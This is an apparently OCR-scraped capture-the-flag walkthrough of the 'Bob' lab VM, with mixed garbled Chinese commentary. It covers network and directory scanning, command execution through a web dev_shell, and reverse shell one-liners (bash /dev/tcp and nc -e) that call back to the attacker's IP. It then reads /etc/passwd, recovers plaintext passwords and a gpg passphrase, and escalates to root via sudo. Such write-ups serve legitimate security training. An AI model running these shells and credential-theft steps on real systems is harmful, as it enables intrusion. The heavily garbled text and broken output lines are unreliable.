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Description Back to the Top
Difficulty: Beginner/Intermediate

Bob is my first CTF VM that | have ever made so be easy on me if it's not perfect.

The Milburg Highschool Server has just been attacked, the IT staff have taken down their windows server and are now setting up a linux server
running Debian. Could there a few weak points in the new unfinished server?

Your Goal is to get the flag in /

Hints: Remember to look for hidden info/files

## Changelog v1.0 ~ 2018-03-07 v1.0.1 ~ 2018-03-09
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Jhome/kali

Interface: eth@, type: EN1@MB, MAC: 00:0c:29:0d:43:48, IPv4: 192.168.1.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 a@:08:6f:6c:4c:5b HUAWEI TECHNOLOGIES CO.,LTD
.168.1.30 54:95:db:eb:24:16 (Unknown)
8.1.148 00:0c:29:c6:8b:00 VMware, Inc.

3 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.926 seconds (132.92 hosts/sec). 3 reseﬁgﬂﬁd
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® /home/kali
p 192.168.1.148
Starting Nmap 7.91 ( https://nmap.org ) at 20
Nmap scan report for 192.168.1.148
Host is up (0. 465 latency).
Not shown: 655 closed ports
PORT STATE SERVICE WVERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: &4 disallowed entries
/login.php /dev_shell.php /lat_memo.html
passwords.html
_http-server-header: Apache, 5 (Debian)
_http-title: Site doesn't h a title (text/html).
5468/tcp open ssh OpenSSH 7.4pl Debian 10+deb9u2 (protocol 2.0)
ssh-hostkey:

100 LVMware]
Device type. hEﬂEFdl purpose
Running: Linu 4. X
0S CPE: cpe:/o:1li linux_kernel:3 cpe:/o:linux:linux_kernel:4
0S details: Linux - 4.9
Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe: Llinux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.46 ms 192.168.1.148

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submi
Nmap done: 1 IP address (1 host up) scanned in 10.46 seconds
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2 /home/kali
irb http://192.168.1.148

DIRB v2.22
By The Dark Raver

START _TIME: Tue Jan & 22:26:21 2022
URL_BASE: http://192.168.1.148/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

Scanning URL: http://192.168.1.148/ ——
+ http://192.168.1.148/index.html (CODE:200|SIZE:1425)
+ http://192.168.1.148/robots.txt (CODE:200|SIZE:111)
+ http://192.168.1.148/server-status (CODE:403|SIZE:301)

END_TIME: Tue Jan 4 22:26:26 2022
DOWNLOADED: 4612 - FOUND: 3 CSDN @'ﬁj;lzjﬂ

E 3 A #RKrobots.txt, PiHE—T

C @ © £ 192.168.1.148/robots.txt

User-agent: *

Disallow: /login.php
Disallow: /dev shell.php
Disallow: /lat memo.html
Disallow: /passwords.html

RI T dev_shell.php, B PABAT —LLfE 814, EHERNREHATIS, ifconfig, pwdEm4

© & 192.168.1.148/dev_she . N @O @ =~

dev_shell

Command:

Output:




getshell

bashx#ishell
bash -c 'exec bash -i &>/dev/tcp/192.168.1.140/4444 <&1'

ncKi%—/shellF| s
/bin/nc 192.168.1.140 4444 -e /bin/bash

BEMP, BR-HRAEANMHP AR SRR

www -datagMilburg-High: / /html$ cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep bash

root:x:0:0:root:, 0

c@rruptedbl : /home/ bin/bash

Jdme; L,,,. 'home /
: )3:Sebastian W,,,:
elllnt : 11004: Elllnt H,,,. hmmefelliﬂt., in/bash
W — ddtdmﬂllburh -High:/var/wm/html$ ]

TEbob %K H 3% B 1.0ld_passwordfile.ntmI4-F& 2| T jcH P Miseb A 7 %55

www -data@Milburg-High: /home/bob$ cat .old passwordfile.html
cat .old_passwordfile.html
<html>
<p>
jc:Qwerty
seb:T1tanium_Pa$$word Hack3rs Fear M3
p>
</ html>
www -datagMilburg-High: /home/bob$ ||

R &

f host '"[19
rprint is SHA
)ant to continue VES, s
Warning: Permanently added ‘[192. 68.1.148 8" ( c to the list of known hosts

jcmlgi.lﬁ“.l 143‘5 pqssn -
Linux —amd64 #1 SMP Debian 4.9.65-3+deb9ul (

The
the 1buT10n rms +01
ind al files in fusr/share/d

Dﬁblqn GNU/Linux comes wlTh ABSOLUTELY NO WARRANTY,
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jcaMilburg-High: $ tac login.txt.gpg
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SR E GPGE XIS, B EEHMENEH
BE—T, BENXHISecret, BEEgEEER
—BRT, RBBREF A, BE B AL F Anotes.shif SC i

jeaMilburg-High: $ 1s
login.txt.gpg staff.txt
jcaMilburg-High: $ cd Secret/
jecaMilburg-High: $ 1s

jcaMilburg-High: $ 1s Keep_Out/
jcaMilburg-High: $1s

jcaMilburg-High: % cd Keep_Out/
jcaMilburg-High: $1s

jecaMilburg-High: $ cd

Not_Porn/ Porn/

jcaMilburg-High: $ cd Not_Porn/
jcaMilburg-High: $ s

jcaMilburg-High: $ cd No_Lookie_In_Here/
jcaMilburg-High: $ 1s

notes.sh

JjcaMilburg-High: $ cat notes.sh
#! /bin/bash

clear

echo "-= Notes =-
echo "Harry Potter is my faviorite”

echo "Are you the real me?”

echo "Right, I'm ordering pizza this is going nowhere”

echo "People just don't get me”

echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>”
echo "Cucumber”

echo "Rest now your eyes are sleepy”

echo "Are you gonna stop reading this yet?"

echo "Time to fix the server”

echo "Everyone is annoying” CSDN @%1|Z123
echo "Sticky notes gotta buy em” ijﬁﬁ

BRIMEA ANEE, 4T — Fnotes.shix AN HIA

-= Notes =-

Harry Potter is my faviorite

Are you the real me?

Right, I'm ordering pizza this is going nowhere
People just don't get me
Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>
Cucumber

Rest now your eyes are sleepy

Are you gonna stop reading this yet?

Time to fix the server

Everyone is annoying

Sticky notes gotta buy em

jcaMilburg-High: CSDP’I@'Z@J;lQB
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gpg --batch --passphrase HARPOCRATES -d login.txt.gpg

jcaMilburg-High: $ gpg —batch —passphrase HARPOCRATES -d login.txt.gpg
gpg: AES encrypted data

gpg: encrypted with 1 passphrase

bob:b@bcat_
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#HF) T bobf P IR, fFHbobH &S, HiEsudo suiRi Flroot

~High: $ sudo -1
e to resolve host Milburg-High
ults entries for bob on Milbur
secure_pat

r bob m run the following commands on Milburg-High:
(ALL ALL) ALL
Milburg-High: $ sudo su
esolve host Milburg g
‘bob/Documents# id

root)

/Documents# cd /

initrd.img initrd.img.old 1ib 1ib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old

Thanks for playing ~c@rruptedblt
root@Milburg-High:/# [l
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